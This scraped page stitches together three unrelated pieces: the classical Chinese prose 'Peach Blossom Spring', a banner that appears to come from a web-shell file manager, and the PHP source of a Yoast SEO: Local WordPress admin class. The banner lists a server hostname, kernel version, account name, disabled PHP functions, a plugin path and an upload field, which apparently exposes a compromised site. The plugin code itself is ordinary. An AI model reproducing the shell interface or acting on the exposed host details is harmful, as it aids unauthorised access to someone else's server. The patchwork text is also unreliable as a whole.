晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/stando/public_html/wp-content/plugins/wpseo-local/classes/admin/ |
Upload File : |
<?php
/**
* Yoast SEO: Local plugin file.
*
* @package WPSEO_LOCAL\Admin
*/
if ( ! defined( 'WPSEO_LOCAL_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
if ( ! class_exists( 'WPSEO_Local_Admin' ) ) {
/**
* Class that holds most of the admin functionality for WP SEO Local.
*/
class WPSEO_Local_Admin {
/**
* Group name for the options.
*
* @var string
*/
public $group_name = 'yoast_wpseo_local_options';
/**
* Option name.
*
* @var string
*/
public $option_name = 'wpseo_local';
/**
* Admin Asset Manager object.
*
* @var WPSEO_Local_Admin_Assets
*/
private $asset_manager;
/**
* Holds the API key repository class.
*
* @var WPSEO_Local_Api_Keys_Repository
*/
private $api_repository;
/**
* Page names for the administration of posts.
*
* @var array
*/
protected $post_admin_pages = array(
'post.php',
'post-new.php',
);
/**
* Class constructor
*/
public function __construct() {
add_action( 'admin_init', array( $this, 'options_init' ) );
// Adds page to WP SEO menu.
add_action( 'wpseo_submenu_pages', array( $this, 'register_settings_page' ), 20 );
// Register local into admin_pages.
$this->register_wpseo();
// Add styles and scripts.
add_action( 'admin_enqueue_scripts', array( $this, 'config_page_scripts' ) );
add_action( 'admin_print_styles', array( $this, 'config_page_styles' ) );
add_action( 'admin_footer', array( $this, 'config_page_footer' ) );
// Flush the rewrite rules after options change.
add_action( 'update_option_wpseo_local', array( $this, 'update_multiple_locations' ), 10, 2 );
add_action( 'admin_init', array( $this, 'flush_rewrite_rules' ) );
// Only initialize the Helpscout Beacon when the License Manager is present.
if ( class_exists( 'Yoast_Plugin_License_Manager' ) ) {
add_action( 'admin_init', array( $this, 'init_beacon' ) );
}
// Only register the yoast i18n when the page is a Yoast SEO page.
if ( $this->is_local_seo_page( filter_input( INPUT_GET, 'page' ) ) ) {
$this->register_i18n_promo_class();
}
add_action( 'admin_init', array( $this, 'maps_api_browser_key_notification' ) );
$this->asset_manager = new WPSEO_Local_Admin_Assets();
$this->asset_manager->register_assets();
$this->api_repository = new WPSEO_Local_Api_Keys_Repository();
}
/**
* Initializes the HelpScout beacon
*/
public function init_beacon() {
$page = filter_input( INPUT_GET, 'page' );
$query_var = ( $page ) ? $page : '';
// Only add the helpscout beacon on Yoast SEO pages.
if ( $query_var === 'wpseo_local' ) {
$beacon = yoast_get_helpscout_beacon( $query_var, Yoast_HelpScout_Beacon::BEACON_TYPE_NO_SEARCH );
$beacon->add_setting( new WPSEO_Local_Beacon_Settings() );
$beacon->register_hooks();
}
}
/**
* Registers the wpseo_local setting for Settings API
*
* @since 1.0
*/
public function options_init() {
register_setting( 'yoast_wpseo_local_options', 'wpseo_local' );
}
/**
* Adds local page to admin_page variable of wpseo
*/
public function register_wpseo() {
add_filter( 'wpseo_admin_pages', array( $this, 'register_local_page' ) );
}
/**
* Registers local page
*
* @param array $pages Array of admin pages.
*
* @return array
*/
public function register_local_page( $pages ) {
$pages[] = 'wpseo_local';
return $pages;
}
/**
* Registers the settings page in the WP SEO menu.
*
* @param array $submenu_pages Array of submenu pages for SEO admin menu item.
*
* @return array
* @since 1.0
*/
public function register_settings_page( $submenu_pages ) {
$submenu_pages[] = array(
'wpseo_dashboard',
'Yoast SEO: Local SEO',
'Local SEO',
apply_filters( 'wpseo_manage_options_capability', 'wpseo_manage_options' ),
'wpseo_local',
array( 'WPSEO_Local_Admin_Page', 'build_page' ),
);
return $submenu_pages;
}
/**
* Load the form for a WPSEO admin page.
*/
public function load_page() {
if ( isset( $_GET['page'] ) ) {
require_once WPSEO_LOCAL_PATH . 'admin/pages/local.php';
}
}
/**
* Loads some CSS
*
* @since 1.0
*/
public function config_page_styles() {
global $pagenow, $post;
if ( ( $pagenow === 'admin.php' && isset( $_GET['page'] ) && $_GET['page'] === 'wpseo_local' ) || $pagenow === 'term.php' || ( in_array( $pagenow, $this->post_admin_pages, true ) && $post->post_type === 'wpseo_locations' ) ) {
$this->asset_manager->enqueue_style( 'admin-css' );
}
else {
if ( $pagenow === 'post-new.php' || $pagenow === 'post.php' ) {
$this->asset_manager->enqueue_style( 'admin-css' );
}
}
}
/**
* Enqueues the (tiny) global JS needed for the plugin.
*/
public function config_page_scripts() {
global $pagenow, $post;
// Define to use minified script or not.
$this->asset_manager->enqueue_script( 'global-script' );
$this->asset_manager->enqueue_script( 'support' );
// Enqueue media script for use one Local SEO pages.
if ( ( $pagenow === 'admin.php' && isset( $_GET['page'] ) && $_GET['page'] === 'wpseo_local' ) || ( in_array( $pagenow, $this->post_admin_pages, true ) && $post->post_type === 'wpseo_locations' ) || ( 'edit-tags.php' === $pagenow ) ) {
wp_enqueue_media();
$api_repository = new WPSEO_Local_Api_Keys_Repository();
$api_key = $api_repository->get_api_key( 'browser' );
// Only load the Geocoding scripts if an API key is entered
if ( ! empty( $api_key ) ) {
$google_maps_url = '//maps.google.com/maps/api/js';
$query_args = array();
if ( ! empty( $api_key ) ) {
$query_args['key'] = $api_key;
}
if ( ! empty( $language ) ) {
$query_args['language'] = esc_attr( strtolower( $language ) );
}
if ( ! empty( $query_args ) ) {
$google_maps_url = add_query_arg( $query_args, $google_maps_url );
}
wp_enqueue_script( 'maps-geocoder', $google_maps_url, array(), null, true );
wp_localize_script( WPSEO_Local_Admin_Assets::PREFIX . 'locations', 'wpseoLocalLocations', array( 'apiKey' => $api_key ) );
$this->asset_manager->enqueue_script( 'locations' );
}
}
}
/**
* Print the required JavaScript in the footer
*/
public function config_page_footer() {
global $pagenow, $post;
if ( ( $pagenow === 'admin.php' && isset( $_GET['page'] ) && $_GET['page'] === 'wpseo_local' )
|| ( in_array( $pagenow, $this->post_admin_pages, true ) && $post->post_type === 'wpseo_locations' )
) {
// @codingStandardsIgnoreStart
?>
<script>
jQuery( document ).ready( function( $ ) {
$( "#business_type, #wpseo_business_type" ).select2( {
placeholder: <?php echo wp_json_encode( __( 'Choose a business type', 'yoast-local-seo' ) ); ?>,
allowClear: true,
} );
$( "#location_timezone, #wpseo_business_timezone" ).select2( {
placeholder: <?php echo wp_json_encode( __( 'Choose a time zone', 'yoast-local-seo' ) ); ?>,
allowClear: true,
} );
$( "#location_price_range, #wpseo_business_price_range" ).select2( {
placeholder: <?php echo wp_json_encode( __( 'Select your price indication', 'yoast-local-seo' ) ); ?>,
allowClear: false,
minimumResultsForSearch: Infinity,
} );
$( "#location_country, #wpseo_business_country, #default_country" ).select2( {
placeholder: <?php echo wp_json_encode( __( 'Choose a country', 'yoast-local-seo' ) ); ?>,
allowClear: true,
} );
$( "#address_format" ).select2( {
allowClear: false,
minimumResultsForSearch: Infinity,
} );
} );
</script>
<?php
// @codingStandardsIgnoreEnd
}
}
/**
* Generates the import panel for importing locations via CSV
*/
public function import_panel() {
echo '<div id="local-seo-import" class="yoastbox">';
echo '<h2>' . esc_html__( 'CSV import of locations for Local Search', 'yoast-local-seo' ) . '</h2>';
echo '</div>';
}
/**
* Flushes the rewrite rules if multiple locations is turned on or off or the slug is changed.
*
* @param mixed $old_option_value Value of the current option.
* @param mixed $new_option_value Value of the new, currently saved option.
*
* @since 1.3.1
*/
public function update_multiple_locations( $old_option_value, $new_option_value ) {
$old_value_exists = array_key_exists( 'use_multiple_locations', $old_option_value );
$new_value_exists = array_key_exists( 'use_multiple_locations', $new_option_value );
$old_option_value['locations_slug'] = isset( $old_option_value['locations_slug'] ) ? esc_attr( $old_option_value['locations_slug'] ) : '';
$new_option_value['locations_slug'] = isset( $new_option_value['locations_slug'] ) ? esc_attr( $new_option_value['locations_slug'] ) : '';
$old_option_value['locations_taxo_slug'] = isset( $old_option_value['locations_taxo_slug'] ) ? esc_attr( $old_option_value['locations_taxo_slug'] ) : '';
$new_option_value['locations_taxo_slug'] = isset( $new_option_value['locations_taxo_slug'] ) ? esc_attr( $new_option_value['locations_taxo_slug'] ) : '';
if ( ( false === $old_value_exists && true === $new_value_exists ) || ( $old_option_value['locations_slug'] != $new_option_value['locations_slug'] ) || ( $old_option_value['locations_taxo_slug'] != $new_option_value['locations_taxo_slug'] ) ) {
set_transient( 'wpseo_local_permalinks_settings_changed', true, 60 );
}
}
/**
* Flushes the rewrite rules if multiple locations is turned on or off or the slug is changed.
*
* @since 1.3.1
*/
public function flush_rewrite_rules() {
if ( get_transient( 'wpseo_local_permalinks_settings_changed' ) == true ) {
flush_rewrite_rules();
delete_transient( 'plugin_settings_have_changed' );
}
}
/**
* Registers a notification if the Google Maps API browser key has not yet been set.
*/
public function maps_api_browser_key_notification() {
if ( ! class_exists( 'Yoast_Notification_Center' ) ) {
return;
}
$message_text = sprintf(
/* translators: %1$s expands to Yoast SEO: Local, %2$s expands to Google Maps,%3$s expands to a link open tag to the settings page, %4$s expands to the closing tag for the link(s) to the settings page and %5$s expands to the opening tag for the link to the knowledge base article */
__( '%1$s needs a %2$s API key to show %2$s on your website. You haven\'t set a %2$s API key yet. Go to the %3$s%1$s API key tab%4$s to set the key, or %5$svisit the knowledge base%4$s for more information.', 'yoast-local-seo' ),
'Yoast SEO: Local',
'Google Maps',
'<a href="' . admin_url( 'admin.php?page=wpseo_local#top#api_keys' ) . '">',
'</a>',
'<a href="https://yoa.st/generate-set-google-maps-browser-key" target="_blank">'
);
$message_options = array(
'type' => Yoast_Notification::WARNING,
'id' => 'LocalSEOBrowserKey',
);
$api_key = $this->api_repository->get_api_key();
$notification_center = Yoast_Notification_Center::get();
$notification = new Yoast_Notification( $message_text, $message_options );
if ( empty( $api_key ) ) {
$notification_center->add_notification( $notification );
}
else {
$notification_center->remove_notification( $notification );
}
}
/**
* Registers a notification if the Google Maps API server key has not yet been set.
*/
public function maps_api_server_key_notification() {
if ( ! class_exists( 'Yoast_Notification_Center' ) ) {
return;
}
$message_text = sprintf(
/* translators: %1$s expands to Yoast SEO: Local, %2$s expands to Google Maps,%3$s expands to a link open tag to the settings page, %4$s expands to the closing tag for the link(s) to the settings page and %5$s expands to the opening tag for the link to the knowledge base article */
__( '%1$s needs a %2$s server key to calculate the geographical location of addresses. You haven\'t set a %2$s server key yet. Go to the %3$s%1$s API keys page%4$s to set the key, or %5$svisit the knowledge base%4$s for more information.', 'yoast-local-seo' ),
'Yoast SEO: Local',
'Google Maps',
'<a href="' . admin_url( 'admin.php?page=wpseo_local#top#api_keys' ) . '">',
'</a>',
'<a href="https://yoa.st/gm-geocoding-api-server-key" target="_blank">'
);
$message_options = array(
'type' => Yoast_Notification::WARNING,
'id' => 'LocalSEOServerKey',
);
$api_key = $this->api_repository->get_api_key( 'server' );
$notification_center = Yoast_Notification_Center::get();
$notification = new Yoast_Notification( $message_text, $message_options );
if ( empty( $api_key ) ) {
$notification_center->add_notification( $notification );
}
else {
$notification_center->remove_notification( $notification );
}
}
/**
* Checks if the page is a local seo page.
*
* @param string $page The page that might be a local seo page.
*
* @return bool
*/
private function is_local_seo_page( $page ) {
$pages = array( 'wpseo_local' );
return in_array( $page, $pages, true );
}
/**
* Register the promotion class for our GlotPress instance
*
* @link https://github.com/Yoast/i18n-module
*/
private function register_i18n_promo_class() {
$args = array(
'textdomain' => 'yoast-local-seo',
'project_slug' => 'yoast-seo-local',
'plugin_name' => 'Local SEO by Yoast',
'hook' => 'wpseo_admin_promo_footer',
'glotpress_url' => 'http://translate.yoast.com/gp/',
'glotpress_name' => 'Yoast Translate',
'glotpress_logo' => 'https://translate.yoast.com/gp-templates/images/Yoast_Translate.svg',
'register_url' => 'https://translate.yoast.com/gp/projects#utm_source=plugin&utm_medium=promo-box&utm_campaign=wpseo-i18n-promo',
);
new Yoast_I18n_v3( $args );
}
} /* End of class */
} //end if